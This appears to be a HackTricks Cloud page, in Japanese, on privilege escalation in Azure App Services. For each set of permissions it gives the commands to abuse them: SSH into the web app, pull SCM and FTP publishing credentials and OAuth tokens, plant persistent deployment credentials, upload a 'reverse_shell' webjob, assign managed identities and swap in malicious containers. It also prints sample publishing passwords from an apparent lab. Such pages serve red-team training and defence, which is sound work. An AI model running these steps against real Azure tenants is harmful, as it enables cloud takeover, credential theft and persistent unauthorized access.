Az - App Services Privesc

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

App Services

Azure App Servicesに関する詳細情報は、以下を確認してください:

Az - Azure App Services

Microsoft.Web/sites/publish/Action, Microsoft.Web/sites/basicPublishingCredentialsPolicies/read, Microsoft.Web/sites/config/read, Microsoft.Web/sites/read

これらの権限により、ウェブアプリ内でSSHシェルを取得できます。また、アプリケーションをデバッグすることも可能です。

  • 単一コマンドでSSH:
bash
# Direct option
az webapp ssh --name <name> --resource-group <res-group>
  • トンネルを作成し、次にSSHに接続する:
bash
az webapp create-remote-connection --name <name> --resource-group <res-group>

## If successful you will get a message such as:
#Verifying if app is running....
#App is running. Trying to establish tunnel connection...
#Opening tunnel on port: 39895
#SSH is available { username: root, password: Docker! }

## So from that machine ssh into that port (you might need generate a new ssh session to the jump host)
ssh root@127.0.0.1 -p 39895
  • アプリケーションのデバッグ:
  1. VScodeにAzure拡張機能をインストールします。
  2. Azureアカウントで拡張機能にログインします。
  3. サブスクリプション内のすべてのAppサービスをリストします。
  4. デバッグしたいAppサービスを選択し、右クリックして「デバッグの開始」を選択します。
  5. アプリにデバッグが有効になっていない場合、拡張機能はそれを有効にしようとしますが、そのためにはあなたのアカウントにMicrosoft.Web/sites/config/writeの権限が必要です。

SCM資格情報の取得と基本認証の有効化

SCM資格情報を取得するには、次のコマンドと権限を使用できます:

  • 権限**Microsoft.Web/sites/publishxml/action**は、次の呼び出しを許可します:
bash
az webapp deployment list-publishing-profiles --name <app-name> --resource-group <res-group>
# Example output
[
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"msdeploySite": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Web Deploy",
"publishMethod": "MSDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"ftpPassiveMode": "True",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - FTP",
"publishMethod": "FTP",
"publishUrl": "ftps://waws-prod-yt1-067.ftp.azurewebsites.windows.net/site/wwwroot",
"userName": "happy-bay-0d8f842ef57843c89185d452c1cede2a\\$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
},
{
"SQLServerDBConnectionString": "",
"controlPanelLink": "https://portal.azure.com",
"databases": null,
"destinationAppUrl": "https://happy-bay-0d8f842ef57843c89185d452c1cede2a.azurewebsites.net",
"hostingProviderForumLink": "",
"mySQLDBConnectionString": "",
"profileName": "happy-bay-0d8f842ef57843c89185d452c1cede2a - Zip Deploy",
"publishMethod": "ZipDeploy",
"publishUrl": "happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net:443",
"userName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"userPWD": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"webSystem": "WebSites"
}
]

ユーザー名は常に同じであることに注意してください(FTPではアプリの名前が最初に追加されます)が、すべてのパスワードは同じです。

さらに、SCM URLは<app-name>.scm.azurewebsites.netです

  • 権限**Microsoft.Web/sites/config/list/action**は、次の呼び出しを許可します:
bash
az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
# Example output
{
"id": "/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/carlos_rg_3170/providers/Microsoft.Web/sites/happy-bay-0d8f842ef57843c89185d452c1cede2a/publishingcredentials/$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"kind": null,
"location": "Canada Central",
"name": "happy-bay-0d8f842ef57843c89185d452c1cede2a",
"publishingPassword": "bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS",
"publishingPasswordHash": null,
"publishingPasswordHashSalt": null,
"publishingUserName": "$happy-bay-0d8f842ef57843c89185d452c1cede2a",
"resourceGroup": "carlos_rg_3170",
"scmUri": "https://$happy-bay-0d8f842ef57843c89185d452c1cede2a:bgrMliuJayY5btkKl9vRNuit7HEqXfnL9w7iv5l2Gh2Q2mAyCdCS1LPfi3zS@happy-bay-0d8f842ef57843c89185d452c1cede2a.scm.azurewebsites.net",
"type": "Microsoft.Web/sites/publishingcredentials"
}

資格情報は前のコマンドと同じであることに注意してください。

  • 別のオプションは、自分の資格情報を設定してそれを使用することです:
bash
# Show if any user is configured (password won't be shown)
az webapp deployment user show

# Set your own credentials
az webapp deployment user set \
--user-name hacktricks \
--password 'W34kP@ssw0rd123!'

# To delete it, check https://stackoverflow.com/questions/45275329/remove-deployment-credentials-from-azure-webapp

その後、これらの資格情報を使用してSCMおよびFTPプラットフォームにアクセスできます。これは持続性を維持するための優れた方法でもあります。

SCMプラットフォームにウェブからアクセスするには、<SCM-URL>/BasicAuthにアクセスする必要があります

warning

すべてのユーザーは前のコマンドを呼び出すことで自分の資格情報を設定できますが、ユーザーがSCMまたはFTPにアクセスするための十分な権限を持っていない場合、資格情報は機能しません。

  • これらの資格情報がREDACTEDと表示される場合、それはSCM基本認証オプションを有効にする必要があるためで、そのためには2番目の権限(Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)が必要です:
bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

SCM資格情報を使用してコードを公開する

有効なSCM資格情報があれば、コードを公開することが可能です。これは次のコマンドを使用して行うことができます。

このPythonの例では、https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart からリポジトリをダウンロードし、任意の変更を加えた後、**zip -r app.zip .**を実行して圧縮します。

次に、次のコマンドを使用してWebアプリにコードを公開できます:

bash
curl -X POST "<SMC-URL>/api/publish?type=zip" --data-binary "@./app.zip" -u '<username>:<password>' -H "Content-Type: application/octet-stream"

Webjobs: Microsoft.Web/sites/publish/Action | SCM credentials

言及されたAzureの権限は、SCM資格情報を使用しても実行できるいくつかの興味深いアクションを実行することを許可します:

  • Webjobsログを読む:
bash
# Using Azure credentials
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt"  --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt"  --resource "https://management.azure.com/"

# Using SCM username and password:
curl "<SCM-URL>/vfs/data/jobs/continuous/job_name/job_log.txt" \
--user '<username>:<password>' -v
  • Webjobsのソースコードを読む:
bash
# Using SCM username and password:
# Find all the webjobs inside:
curl "<SCM-URL>/wwwroot/App_Data/jobs/" \
--user '<username>:<password>'

# e.g.
curl "https://nodewebapp-agamcvhgg3gkd3hs.scm.canadacentral-01.azurewebsites.net/wwwroot/App_Data/jobs/continuous/job_name/rev.js" \
--user '<username>:<password>'
  • 継続的なWebjobを作成する:
bash
# Using Azure permissions
az rest \
--method put \
--uri "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/api/Continuouswebjobs/reverse_shell" \
--headers '{"Content-Disposition": "attachment; filename=\"rev.js\""}' \
--body "@/Users/username/Downloads/rev.js" \
--resource "https://management.azure.com/"

# Using SCM credentials
curl -X PUT \
"<SCM-URL>/api/Continuouswebjobs/reverse_shell2" \
-H 'Content-Disposition: attachment; filename=rev.js' \
--data-binary "@/Users/carlospolop/Downloads/rev.js" \
--user '<username>:<password>'

Microsoft.Web/sites/write, Microsoft.Web/sites/read, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

これらの権限は、マネージドアイデンティティをAppサービスに割り当てることを可能にします。したがって、Appサービスが以前に侵害されていた場合、攻撃者は新しいマネージドアイデンティティをAppサービスに割り当て、特権を昇格させることができます。

bash
az webapp identity assign --name <app-name> --resource-group <res-group> --identities /subscriptions/<subcripttion-id>/resourceGroups/<res_group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<managed-identity-name>

Microsoft.Web/sites/config/list/action

この権限は、データベースの資格情報などの機密情報を含む可能性があるAppサービスの接続文字列アプリ設定をリストすることを許可します。

bash
az webapp config connection-string list --name <name> --resource-group <res-group>
az webapp config appsettings list --name <name> --resource-group <res-group>

設定されたサードパーティの資格情報を読み取る

次のコマンドを実行することで、現在のアカウントに設定されているサードパーティの資格情報を読み取ることができます。たとえば、異なるユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません。

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

このコマンドは、Github、Bitbucket、Dropbox、およびOneDriveのトークンを返します。

ここにトークンを確認するためのいくつかのコマンド例があります:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

アプリコードのソースからの更新

  • 設定されたソースがGithub、BitBucket、またはAzureリポジトリのようなサードパーティプロバイダーである場合、リポジトリ内のソースコードを侵害することでアプリサービスのコードを更新できます。
  • アプリがリモートgitリポジトリ(ユーザー名とパスワードを使用)を使用するように設定されている場合、次のコマンドを使用してURLと基本認証情報を取得し、変更をクローンおよびプッシュすることが可能です:
  • 権限**Microsoft.Web/sites/sourcecontrols/read**を使用: az webapp deployment source show --name <app-name> --resource-group <res-group>
  • 権限**Microsoft.Web/sites/config/list/action**を使用:
  • az webapp deployment list-publishing-credentials --name <app-name> --resource-group <res-group>
  • az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"
  • アプリがローカルgitリポジトリを使用するように設定されている場合、リポジトリをクローンし、変更をプッシュすることが可能です:
  • 権限**Microsoft.Web/sites/sourcecontrols/read**を使用: az webapp deployment source show --name <app-name> --resource-group <res-group>を使用してgitリポジトリのURLを取得できますが、アプリのSCM URLと同じで、パスは/<app-name>.gitになります(例: https://pythonwebapp-audeh9f5fzeyhhed.scm.canadacentral-01.azurewebsites.net:443/pythonwebapp.git)。
  • SCM資格情報を取得するには、次の権限が必要です:
  • Microsoft.Web/sites/publishxml/action:次に、az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>を実行します。
  • Microsoft.Web/sites/config/list/action:次に、az webapp deployment list-publishing-credentials --name <name> --resource-group <res-group>を実行します。

warning

権限Microsoft.Web/sites/config/list/actionとSCM資格情報を持っている場合、前のセクションで述べたように、サードパーティプロバイダーを使用するように設定されていても、ウェブアプリにデプロイすることが常に可能であることに注意してください。

warning

以下の権限を持っている場合、ウェブアプリが異なる設定であっても任意のコンテナを実行することが可能です。

Microsoft.Web/sites/config/Write, Microsoft.Web/sites/config/Read, Microsoft.Web/sites/config/list/Action, Microsoft.Web/sites/Read

これは、ウェブアプリで使用されるコンテナを変更することを許可する権限のセットです。攻撃者はこれを悪用して、ウェブアプリに悪意のあるコンテナを実行させることができます。

bash
az webapp config container set \
--name <app-name> \
--resource-group <res-group> \
--docker-custom-image-name mcr.microsoft.com/appsvc/staticsite:latest

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする